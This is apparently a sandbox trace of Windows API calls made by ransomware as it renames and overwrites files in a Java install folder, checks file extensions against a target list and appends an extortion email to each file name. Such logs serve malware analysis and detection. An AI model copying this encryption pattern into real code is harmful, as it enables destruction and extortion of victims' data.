	[0189.978] ReadFile (in: hFile=0x360, lpBuffer=0x3c57020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x322fecc, lpOverlapped=0x0 | out: lpBuffer=0x3c57020*, lpNumberOfBytesRead=0x322fecc*=0x13200, lpOverlapped=0x0) returned 1
	[0189.983] WriteFile (in: hFile=0x358, lpBuffer=0x3c57020*, nNumberOfBytesToWrite=0x13210, lpNumberOfBytesWritten=0x322fc94, lpOverlapped=0x0 | out: lpBuffer=0x3c57020*, lpNumberOfBytesWritten=0x322fc94*=0x13210, lpOverlapped=0x0) returned 1
	[0189.985] ReadFile (in: hFile=0x360, lpBuffer=0x3c57020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x322fecc, lpOverlapped=0x0 | out: lpBuffer=0x3c57020*, lpNumberOfBytesRead=0x322fecc*=0x0, lpOverlapped=0x0) returned 1
	[0189.985] WriteFile (in: hFile=0x358, lpBuffer=0x3c57020*, nNumberOfBytesToWrite=0x11c, lpNumberOfBytesWritten=0x322fc94, lpOverlapped=0x0 | out: lpBuffer=0x3c57020*, lpNumberOfBytesWritten=0x322fc94*=0x11c, lpOverlapped=0x0) returned 1
	[0189.985] SetEndOfFile (hFile=0x358) returned 1
	[0189.986] CloseHandle (hObject=0x358) returned 1
	[0189.986] SetFilePointerEx (in: hFile=0x360, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x322fec0 | out: lpNewFilePointer=0x0) returned 1
	[0189.986] SetEndOfFile (hFile=0x360) returned 1
	[0189.987] CloseHandle (hObject=0x360) returned 1
	[0189.987] SetFileAttributesW (lpFileName="C:\\Program Files\\Java\\instructional_calibration_cheats.exe.id-B4197730.[help.me24@protonmail.com].Z9", dwFileAttributes=0x20) returned 1
	[0189.987] DeleteFileW (lpFileName="C:\\Program Files\\Java\\instructional_calibration_cheats.exe" (normalized: "c:\\program files\\java\\instructional_calibration_cheats.exe")) returned 1
	[0189.988] lstrlenW (lpString="C:\\Program Files\\Java\\instructional_calibration_cheats.exe") returned 58
	[0189.988] lstrlenW (lpString="C:\\Program Files\\Java\\instructional_calibration_cheats.exe") returned 58
	[0189.988] lstrlenW (lpString=".doc") returned 4
	[0189.988] lstrcmpiW (lpString1=".doc", lpString2=".exe") returned -1
	[0189.988] lstrlenW (lpString=".docx") returned 5
	[0189.988] lstrcmpiW (lpString1=".docx", lpString2="s.exe") returned -1
	[0189.988] lstrlenW (lpString=".pdf") returned 4
	[0189.988] lstrcmpiW (lpString1=".pdf", lpString2=".exe") returned 1
	[0189.988] lstrlenW (lpString=".xls") returned 4
	[0189.988] lstrcmpiW (lpString1=".xls", lpString2=".exe") returned 1
	[0189.988] lstrlenW (lpString=".xlsx") returned 5
	[0189.988] lstrcmpiW (lpString1=".xlsx", lpString2="s.exe") returned -1
	[0189.988] lstrlenW (lpString=".ppt") returned 4
	[0189.988] lstrcmpiW (lpString1=".ppt", lpString2=".exe") returned 1
	[0189.988] lstrlenW (lpString="C:\\Program Files\\Java\\instructional_calibration_cheats.exe") returned 58
	[0189.988] lstrlenW (lpString=".zip") returned 4
	[0189.988] lstrcmpiW (lpString1=".zip", lpString2=".exe") returned 1
	[0189.988] lstrlenW (lpString=".rar") returned 4
	[0189.988] lstrcmpiW (lpString1=".rar", lpString2=".exe") returned 1
	[0189.988] lstrlenW (lpString=".bz2") returned 4
	[0189.989] lstrcmpiW (lpString1=".bz2", lpString2=".exe") returned -1
	[0189.989] lstrlenW (lpString=".7z") returned 3
	[0189.989] lstrcmpiW (lpString1=".7z", lpString2="exe") returned -1
	[0189.989] lstrlenW (lpString="C:\\Program Files\\Java\\instructional_calibration_cheats.exe") returned 58
	[0189.989] lstrlenW (lpString=".dbf") returned 4
	[0189.989] lstrcmpiW (lpString1=".dbf", lpString2=".exe") returned -1
	[0189.989] lstrlenW (lpString="C:\\Program Files\\Java\\instructional_calibration_cheats.exe") returned 58
	[0189.989] lstrlenW (lpString=".1cd") returned 4
	[0189.989] lstrcmpiW (lpString1=".1cd", lpString2=".exe") returned -1
	[0189.989] lstrlenW (lpString="C:\\Program Files\\Java\\instructional_calibration_cheats.exe") returned 58
	[0189.989] lstrlenW (lpString=".jpg") returned 4
	[0189.989] lstrcmpiW (lpString1=".jpg", lpString2=".exe") returned 1
	[0189.989] lstrlenW (lpString="C:\\Program Files\\Java\\instructional_calibration_cheats.exe") returned 58
	[0189.989] lstrlenW (lpString="C:\\Program Files\\Java\\instructional_calibration_cheats.exe") returned 58
	[0189.989] lstrlenW (lpString=".doc") returned 4
	[0189.989] lstrcmpiW (lpString1=".doc", lpString2=".exe") returned -1
	[0189.989] lstrlenW (lpString=".docx") returned 5
	[0189.989] lstrcmpiW (lpString1=".docx", lpString2="s.exe") returned -1
	[0189.989] lstrlenW (lpString=".pdf") returned 4
	[0189.989] lstrcmpiW (lpString1=".pdf", lpString2=".exe") returned 1
	[0189.989] lstrlenW (lpString=".xls") returned 4
	[0189.989] lstrcmpiW (lpString1=".xls", lpString2=".exe") returned 1
	[0189.989] lstrlenW (lpString=".xlsx") returned 5
	[0189.989] lstrcmpiW (lpString1=".xlsx", lpString2="s.exe") returned -1
	[0189.989] lstrlenW (lpString=".ppt") returned 4
	[0189.989] lstrcmpiW (lpString1=".ppt", lpString2=".exe") returned 1
	[0189.989] lstrlenW (lpString="C:\\Program Files\\Java\\instructional_calibration_cheats.exe") returned 58
	[0189.989] lstrlenW (lpString=".zip") returned 4
	[0189.989] lstrcmpiW (lpString1=".zip", lpString2=".exe") returned 1
	[0189.989] lstrlenW (lpString=".rar") returned 4
	[0189.989] lstrcmpiW (lpString1=".rar", lpString2=".exe") returned 1
	[0189.989] lstrlenW (lpString=".bz2") returned 4
	[0189.989] lstrcmpiW (lpString1=".bz2", lpString2=".exe") returned -1
	[0189.989] lstrlenW (lpString=".7z") returned 3
	[0189.989] lstrcmpiW (lpString1=".7z", lpString2="exe") returned -1
	[0189.990] lstrlenW (lpString="C:\\Program Files\\Java\\instructional_calibration_cheats.exe") returned 58
	[0189.990] lstrlenW (lpString=".dbf") returned 4
	[0189.990] lstrcmpiW (lpString1=".dbf", lpString2=".exe") returned -1
	[0189.990] lstrlenW (lpString="C:\\Program Files\\Java\\instructional_calibration_cheats.exe") returned 58
	[0189.990] lstrlenW (lpString=".1cd") returned 4
	[0189.990] lstrcmpiW (lpString1=".1cd", lpString2=".exe") returned -1
	[0189.990] lstrlenW (lpString="C:\\Program Files\\Java\\instructional_calibration_cheats.exe") returned 58
	[0189.990] lstrlenW (lpString=".jpg") returned 4
	[0189.990] lstrcmpiW (lpString1=".jpg", lpString2=".exe") returned 1
	[0189.990] lstrcmpiW (lpString1=".jar", lpString2=".Z9") returned -1
	[0189.990] lstrlenW (lpString="dnsns.jar") returned 9
	[0189.990] CreateFileW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\ext\\dnsns.jar" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\ext\\dnsns.jar"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x360
	[0189.990] GetFileSizeEx (in: hFile=0x360, lpFileSize=0x322ff14 | out: lpFileSize=0x322ff14*=8286) returned 1
	[0189.990] CloseHandle (hObject=0x360) returned 1
	[0189.990] GetFileAttributesW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\ext\\dnsns.jar" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\ext\\dnsns.jar")) returned 0x20
	[0189.991] GetFileAttributesW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\ext\\dnsns.jar.id-B4197730.[help.me24@protonmail.com].Z9" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\ext\\dnsns.jar.id-b4197730.[help.me24@protonmail.com].z9")) returned 0x20
	[0189.991] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\ext\\dnsns.jar") returned 52
	[0189.991] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\ext\\dnsns.jar") returned 52
	[0189.991] lstrlenW (lpString=".doc") returned 4
	[0189.991] lstrcmpiW (lpString1=".doc", lpString2=".jar") returned -1
	[0189.991] lstrlenW (lpString=".docx") returned 5
	[0189.991] lstrcmpiW (lpString1=".docx", lpString2="s.jar") returned -1
	[0189.991] lstrlenW (lpString=".pdf") returned 4
	[0189.991] lstrcmpiW (lpString1=".pdf", lpString2=".jar") returned 1
	[0189.991] lstrlenW (lpString=".xls") returned 4
	[0189.991] lstrcmpiW (lpString1=".xls", lpString2=".jar") returned 1
	[0189.991] lstrlenW (lpString=".xlsx") returned 5
	[0189.991] lstrcmpiW (lpString1=".xlsx", lpString2="s.jar") returned -1
	[0189.991] lstrlenW (lpString=".ppt") returned 4
	[0189.991] lstrcmpiW (lpString1=".ppt", lpString2=".jar") returned 1
	[0189.991] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\ext\\dnsns.jar") returned 52
	[0189.991] lstrlenW (lpString=".zip") returned 4
	[0189.991] lstrcmpiW (lpString1=".zip", lpString2=".jar") returned 1
	[0189.991] lstrlenW (lpString=".rar") returned 4
	[0189.991] lstrcmpiW (lpString1=".rar", lpString2=".jar") returned 1
	[0189.991] lstrlenW (lpString=".bz2") returned 4
	[0189.991] lstrcmpiW (lpString1=".bz2", lpString2=".jar") returned -1
	[0189.991] lstrlenW (lpString=".7z") returned 3
	[0189.991] lstrcmpiW (lpString1=".7z", lpString2="jar") returned -1
	[0189.991] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\ext\\dnsns.jar") returned 52
	[0189.991] lstrlenW (lpString=".dbf") returned 4
	[0189.991] lstrcmpiW (lpString1=".dbf", lpString2=".jar") returned -1
	[0189.991] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\ext\\dnsns.jar") returned 52
	[0189.991] lstrlenW (lpString=".1cd") returned 4
	[0189.992] lstrcmpiW (lpString1=".1cd", lpString2=".jar") returned -1
	[0189.992] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\ext\\dnsns.jar") returned 52
	[0189.992] lstrlenW (lpString=".jpg") returned 4
	[0189.992] lstrcmpiW (lpString1=".jpg", lpString2=".jar") returned 1
	[0189.992] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\ext\\dnsns.jar") returned 52
	[0189.992] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\ext\\dnsns.jar") returned 52
	[0189.992] lstrlenW (lpString=".doc") returned 4
	[0189.992] lstrcmpiW (lpString1=".doc", lpString2=".jar") returned -1
	[0189.992] lstrlenW (lpString=".docx") returned 5
	[0189.992] lstrcmpiW (lpString1=".docx", lpString2="s.jar") returned -1
	[0189.992] lstrlenW (lpString=".pdf") returned 4
	[0189.992] lstrcmpiW (lpString1=".pdf", lpString2=".jar") returned 1
	[0189.992] lstrlenW (lpString=".xls") returned 4
	[0189.992] lstrcmpiW (lpString1=".xls", lpString2=".jar") returned 1
	[0189.992] lstrlenW (lpString=".xlsx") returned 5
	[0189.992] lstrcmpiW (lpString1=".xlsx", lpString2="s.jar") returned -1
	[0189.992] lstrlenW (lpString=".ppt") returned 4
	[0189.992] lstrcmpiW (lpString1=".ppt", lpString2=".jar") returned 1
	[0189.992] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\ext\\dnsns.jar") returned 52
	[0189.992] lstrlenW (lpString=".zip") returned 4
	[0189.992] lstrcmpiW (lpString1=".zip", lpString2=".jar") returned 1
	[0189.992] lstrlenW (lpString=".rar") returned 4
	[0189.992] lstrcmpiW (lpString1=".rar", lpString2=".jar") returned 1
	[0189.992] lstrlenW (lpString=".bz2") returned 4
	[0189.992] lstrcmpiW (lpString1=".bz2", lpString2=".jar") returned -1
	[0189.992] lstrlenW (lpString=".7z") returned 3
	[0189.992] lstrcmpiW (lpString1=".7z", lpString2="jar") returned -1
	[0189.992] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\ext\\dnsns.jar") returned 52
	[0189.992] lstrlenW (lpString=".dbf") returned 4
	[0189.992] lstrcmpiW (lpString1=".dbf", lpString2=".jar") returned -1
	[0189.992] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\ext\\dnsns.jar") returned 52
	[0189.992] lstrlenW (lpString=".1cd") returned 4
	[0189.992] lstrcmpiW (lpString1=".1cd", lpString2=".jar") returned -1
	[0189.992] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\ext\\dnsns.jar") returned 52
	[0189.992] lstrlenW (lpString=".jpg") returned 4
	[0189.993] lstrcmpiW (lpString1=".jpg", lpString2=".jar") returned 1
	[0189.993] lstrcmpiW (lpString1=".jar", lpString2=".Z9") returned -1
	[0189.993] lstrlenW (lpString="jaccess.jar") returned 11
	[0189.993] CreateFileW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\ext\\jaccess.jar" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\ext\\jaccess.jar"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x360
	[0189.993] GetFileSizeEx (in: hFile=0x360, lpFileSize=0x322ff14 | out: lpFileSize=0x322ff14*=44516) returned 1
	[0189.993] CloseHandle (hObject=0x360) returned 1
	[0189.993] GetFileAttributesW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\ext\\jaccess.jar" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\ext\\jaccess.jar")) returned 0x20
	[0189.993] GetFileAttributesW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\ext\\jaccess.jar.id-B4197730.[help.me24@protonmail.com].Z9" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\ext\\jaccess.jar.id-b4197730.[help.me24@protonmail.com].z9")) returned 0x20
	[0189.993] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\ext\\jaccess.jar") returned 54
	[0189.993] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\ext\\jaccess.jar") returned 54
	[0189.993] lstrlenW (lpString=".doc") returned 4
	[0189.993] lstrcmpiW (lpString1=".doc", lpString2=".jar") returned -1
	[0189.994] lstrlenW (lpString=".docx") returned 5
	[0189.994] lstrcmpiW (lpString1=".docx", lpString2="s.jar") returned -1
	[0189.994] lstrlenW (lpString=".pdf") returned 4
	[0189.994] lstrcmpiW (lpString1=".pdf", lpString2=".jar") returned 1
	[0189.994] lstrlenW (lpString=".xls") returned 4
	[0189.994] lstrcmpiW (lpString1=".xls", lpString2=".jar") returned 1
	[0189.994] lstrlenW (lpString=".xlsx") returned 5
	[0189.994] lstrcmpiW (lpString1=".xlsx", lpString2="s.jar") returned -1
	[0189.994] lstrlenW (lpString=".ppt") returned 4
	[0189.994] lstrcmpiW (lpString1=".ppt", lpString2=".jar") returned 1
	[0189.994] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\ext\\jaccess.jar") returned 54
	[0189.994] lstrlenW (lpString=".zip") returned 4
	[0189.994] lstrcmpiW (lpString1=".zip", lpString2=".jar") returned 1
	[0189.994] lstrlenW (lpString=".rar") returned 4
	[0189.994] lstrcmpiW (lpString1=".rar", lpString2=".jar") returned 1
	[0189.994] lstrlenW (lpString=".bz2") returned 4
	[0189.994] lstrcmpiW (lpString1=".bz2", lpString2=".jar") returned -1
	[0189.994] lstrlenW (lpString=".7z") returned 3
	[0189.994] lstrcmpiW (lpString1=".7z", lpString2="jar") returned -1
	[0189.994] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\ext\\jaccess.jar") returned 54
	[0189.994] lstrlenW (lpString=".dbf") returned 4
	[0189.994] lstrcmpiW (lpString1=".dbf", lpString2=".jar") returned -1
	[0189.994] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\ext\\jaccess.jar") returned 54
	[0189.994] lstrlenW (lpString=".1cd") returned 4
	[0189.994] lstrcmpiW (lpString1=".1cd", lpString2=".jar") returned -1
	[0189.994] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\ext\\jaccess.jar") returned 54
	[0189.994] lstrlenW (lpString=".jpg") returned 4
	[0189.994] lstrcmpiW (lpString1=".jpg", lpString2=".jar") returned 1
	[0189.994] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\ext\\jaccess.jar") returned 54
	[0189.994] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\ext\\jaccess.jar") returned 54
	[0189.994] lstrlenW (lpString=".doc") returned 4
	[0189.994] lstrcmpiW (lpString1=".doc", lpString2=".jar") returned -1
	[0189.994] lstrlenW (lpString=".docx") returned 5
	[0189.994] lstrcmpiW (lpString1=".docx", lpString2="s.jar") returned -1
	[0189.994] lstrlenW (lpString=".pdf") returned 4
	[0189.995] lstrcmpiW (lpString1=".pdf", lpString2=".jar") returned 1
	[0189.995] lstrlenW (lpString=".xls") returned 4
	[0189.995] lstrcmpiW (lpString1=".xls", lpString2=".jar") returned 1
	[0189.995] lstrlenW (lpString=".xlsx") returned 5
	[0189.995] lstrcmpiW (lpString1=".xlsx", lpString2="s.jar") returned -1
	[0189.995] lstrlenW (lpString=".ppt") returned 4
	[0189.995] lstrcmpiW (lpString1=".ppt", lpString2=".jar") returned 1
	[0189.995] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\ext\\jaccess.jar") returned 54
	[0189.995] lstrlenW (lpString=".zip") returned 4
	[0189.995] lstrcmpiW (lpString1=".zip", lpString2=".jar") returned 1
	[0189.995] lstrlenW (lpString=".rar") returned 4
	[0189.995] lstrcmpiW (lpString1=".rar", lpString2=".jar") returned 1
	[0189.995] lstrlenW (lpString=".bz2") returned 4
	[0189.995] lstrcmpiW (lpString1=".bz2", lpString2=".jar") returned -1
	[0189.995] lstrlenW (lpString=".7z") returned 3
	[0189.995] lstrcmpiW (lpString1=".7z", lpString2="jar") returned -1
	[0189.995] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\ext\\jaccess.jar") returned 54
	[0189.995] lstrlenW (lpString=".dbf") returned 4
	[0189.995] lstrcmpiW (lpString1=".dbf", lpString2=".jar") returned -1
	[0189.995] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\ext\\jaccess.jar") returned 54
	[0189.995] lstrlenW (lpString=".1cd") returned 4
	[0189.995] lstrcmpiW (lpString1=".1cd", lpString2=".jar") returned -1
	[0189.995] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\ext\\jaccess.jar") returned 54
	[0189.995] lstrlenW (lpString=".jpg") returned 4
	[0189.995] lstrcmpiW (lpString1=".jpg", lpString2=".jar") returned 1
	[0189.995] lstrcmpiW (lpString1=".jar", lpString2=".Z9") returned -1
	[0189.995] lstrlenW (lpString="jfxrt.jar") returned 9
	[0190.091] CreateFileW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\ext\\jfxrt.jar" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\ext\\jfxrt.jar"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x338
	[0190.091] GetFileSizeEx (in: hFile=0x338, lpFileSize=0x322ff14 | out: lpFileSize=0x322ff14*=18246297) returned 1
	[0190.091] CloseHandle (hObject=0x338) returned 1
	[0190.091] GetFileAttributesW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\ext\\jfxrt.jar" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\ext\\jfxrt.jar")) returned 0x20
	[0190.092] GetFileAttributesW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\ext\\jfxrt.jar.id-B4197730.[help.me24@protonmail.com].Z9" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\ext\\jfxrt.jar.id-b4197730.[help.me24@protonmail.com].z9")) returned 0xffffffff
	[0190.098] MoveFileW (lpExistingFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\ext\\jfxrt.jar" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\ext\\jfxrt.jar"), lpNewFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\ext\\jfxrt.jar.id-B4197730.[help.me24@protonmail.com].Z9" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\ext\\jfxrt.jar.id-b4197730.[help.me24@protonmail.com].z9")) returned 1
	[0190.099] CreateFileW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\ext\\jfxrt.jar.id-B4197730.[help.me24@protonmail.com].Z9" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\ext\\jfxrt.jar.id-b4197730.[help.me24@protonmail.com].z9"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x338
	[0190.100] SetFilePointerEx (in: hFile=0x338, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x322fc64 | out: lpNewFilePointer=0x0) returned 1
	[0190.100] SetFilePointerEx (in: hFile=0x338, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x322fc24 | out: lpNewFilePointer=0x0) returned 1
	[0190.100] ReadFile (in: hFile=0x338, lpBuffer=0x3c57058, nNumberOfBytesToRead=0x40000, lpNumberOfBytesRead=0x322fc30, lpOverlapped=0x0 | out: lpBuffer=0x3c57058*, lpNumberOfBytesRead=0x322fc30*=0x40000, lpOverlapped=0x0) returned 1
	[0190.121] SetFilePointerEx (in: hFile=0x338, liDistanceToMove=0x5cce33, lpNewFilePointer=0x0, dwMoveMethod=0x322fc24 | out: lpNewFilePointer=0x0) returned 1
	[0190.123] ReadFile (in: hFile=0x338, lpBuffer=0x3c97058, nNumberOfBytesToRead=0x40000, lpNumberOfBytesRead=0x322fc30, lpOverlapped=0x0 | out: lpBuffer=0x3c97058*, lpNumberOfBytesRead=0x322fc30*=0x40000, lpOverlapped=0x0) returned 1
	[0190.142] SetFilePointerEx (in: hFile=0x338, liDistanceToMove=0xfffc0000, lpNewFilePointer=0xffffffff, dwMoveMethod=0x322fc64 | out: lpNewFilePointer=0xffffffff) returned 1
	[0190.142] SetFilePointerEx (in: hFile=0x338, liDistanceToMove=0x1126a99, lpNewFilePointer=0x0, dwMoveMethod=0x322fc24 | out: lpNewFilePointer=0x0) returned 1
	[0190.142] ReadFile (in: hFile=0x338, lpBuffer=0x3cd7058, nNumberOfBytesToRead=0x40000, lpNumberOfBytesRead=0x322fc30, lpOverlapped=0x0 | out: lpBuffer=0x3cd7058*, lpNumberOfBytesRead=0x322fc30*=0x40000, lpOverlapped=0x0) returned 1
	[0190.854] SetFilePointerEx (in: hFile=0x338, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x322fec0 | out: lpNewFilePointer=0x0) returned 1
	[0190.854] WriteFile (in: hFile=0x338, lpBuffer=0x3c57020*, nNumberOfBytesToWrite=0xc00fe, lpNumberOfBytesWritten=0x322fca8, lpOverlapped=0x0 | out: lpBuffer=0x3c57020*, lpNumberOfBytesWritten=0x322fca8*=0xc00fe, lpOverlapped=0x0) returned 1
	[0190.875] SetEndOfFile (hFile=0x338) returned 1
	[0191.439] RtlAllocateHeap (HeapHandle=0x750000, Flags=0x0, Size=0x40000) returned 0x40f9900
	[0191.444] SetFilePointerEx (in: hFile=0x338, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x322fc74 | out: lpNewFilePointer=0x0) returned 1
	[0191.444] WriteFile (in: hFile=0x338, lpBuffer=0x40f9900*, nNumberOfBytesToWrite=0x40000, lpNumberOfBytesWritten=0x322fc80, lpOverlapped=0x0 | out: lpBuffer=0x40f9900*, lpNumberOfBytesWritten=0x322fc80*=0x40000, lpOverlapped=0x0) returned 1
	[0191.446] SetFilePointerEx (in: hFile=0x338, liDistanceToMove=0x5cce33, lpNewFilePointer=0x0, dwMoveMethod=0x322fc74 | out: lpNewFilePointer=0x0) returned 1
	[0191.446] WriteFile (in: hFile=0x338, lpBuffer=0x40f9900*, nNumberOfBytesToWrite=0x40000, lpNumberOfBytesWritten=0x322fc80, lpOverlapped=0x0 | out: lpBuffer=0x40f9900*, lpNumberOfBytesWritten=0x322fc80*=0x40000, lpOverlapped=0x0) returned 1
	[0191.452] SetFilePointerEx (in: hFile=0x338, liDistanceToMove=0x1126a99, lpNewFilePointer=0x0, dwMoveMethod=0x322fc74 | out: lpNewFilePointer=0x0) returned 1
	[0191.452] WriteFile (in: hFile=0x338, lpBuffer=0x40f9900*, nNumberOfBytesToWrite=0x40000, lpNumberOfBytesWritten=0x322fc80, lpOverlapped=0x0 | out: lpBuffer=0x40f9900*, lpNumberOfBytesWritten=0x322fc80*=0x40000, lpOverlapped=0x0) returned 1
	[0191.454] HeapFree (in: hHeap=0x750000, dwFlags=0x0, lpMem=0x40f9900 | out: hHeap=0x750000) returned 1
	[0191.454] CloseHandle (hObject=0x338) returned 1
	[0191.596] SetFileAttributesW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\ext\\jfxrt.jar.id-B4197730.[help.me24@protonmail.com].Z9", dwFileAttributes=0x20) returned 1
	[0191.596] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\ext\\jfxrt.jar") returned 52
	[0191.596] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\ext\\jfxrt.jar") returned 52
	[0191.596] lstrlenW (lpString=".doc") returned 4
	[0191.596] lstrcmpiW (lpString1=".doc", lpString2=".jar") returned -1
	[0191.596] lstrlenW (lpString=".docx") returned 5
	[0191.596] lstrcmpiW (lpString1=".docx", lpString2="t.jar") returned -1
	[0191.596] lstrlenW (lpString=".pdf") returned 4
	[0191.596] lstrcmpiW (lpString1=".pdf", lpString2=".jar") returned 1
	[0191.596] lstrlenW (lpString=".xls") returned 4
	[0191.596] lstrcmpiW (lpString1=".xls", lpString2=".jar") returned 1
	[0191.596] lstrlenW (lpString=".xlsx") returned 5
	[0191.596] lstrcmpiW (lpString1=".xlsx", lpString2="t.jar") returned -1
	[0191.596] lstrlenW (lpString=".ppt") returned 4
	[0191.596] lstrcmpiW (lpString1=".ppt", lpString2=".jar") returned 1
	[0191.596] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\ext\\jfxrt.jar") returned 52
	[0191.596] lstrlenW (lpString=".zip") returned 4
	[0191.597] lstrcmpiW (lpString1=".zip", lpString2=".jar") returned 1
	[0191.597] lstrlenW (lpString=".rar") returned 4
	[0191.597] lstrcmpiW (lpString1=".rar", lpString2=".jar") returned 1
	[0191.597] lstrlenW (lpString=".bz2") returned 4
	[0191.597] lstrcmpiW (lpString1=".bz2", lpString2=".jar") returned -1
	[0191.597] lstrlenW (lpString=".7z") returned 3
	[0191.597] lstrcmpiW (lpString1=".7z", lpString2="jar") returned -1
	[0191.597] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\ext\\jfxrt.jar") returned 52
	[0191.597] lstrlenW (lpString=".dbf") returned 4
	[0191.597] lstrcmpiW (lpString1=".dbf", lpString2=".jar") returned -1
	[0191.597] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\ext\\jfxrt.jar") returned 52
	[0191.597] lstrlenW (lpString=".1cd") returned 4
	[0191.597] lstrcmpiW (lpString1=".1cd", lpString2=".jar") returned -1
	[0191.597] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\ext\\jfxrt.jar") returned 52
	[0191.597] lstrlenW (lpString=".jpg") returned 4
	[0191.597] lstrcmpiW (lpString1=".jpg", lpString2=".jar") returned 1
	[0191.597] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\ext\\jfxrt.jar") returned 52
	[0191.597] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\ext\\jfxrt.jar") returned 52
	[0191.597] lstrlenW (lpString=".doc") returned 4
	[0191.597] lstrcmpiW (lpString1=".doc", lpString2=".jar") returned -1
	[0191.597] lstrlenW (lpString=".docx") returned 5
	[0191.597] lstrcmpiW (lpString1=".docx", lpString2="t.jar") returned -1
	[0191.597] lstrlenW (lpString=".pdf") returned 4
	[0191.597] lstrcmpiW (lpString1=".pdf", lpString2=".jar") returned 1
	[0191.597] lstrlenW (lpString=".xls") returned 4
	[0191.597] lstrcmpiW (lpString1=".xls", lpString2=".jar") returned 1
	[0191.597] lstrlenW (lpString=".xlsx") returned 5
	[0191.597] lstrcmpiW (lpString1=".xlsx", lpString2="t.jar") returned -1
	[0191.597] lstrlenW (lpString=".ppt") returned 4
	[0191.597] lstrcmpiW (lpString1=".ppt", lpString2=".jar") returned 1
	[0191.597] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\ext\\jfxrt.jar") returned 52
	[0191.597] lstrlenW (lpString=".zip") returned 4
	[0191.597] lstrcmpiW (lpString1=".zip", lpString2=".jar") returned 1
	[0191.597] lstrlenW (lpString=".rar") returned 4
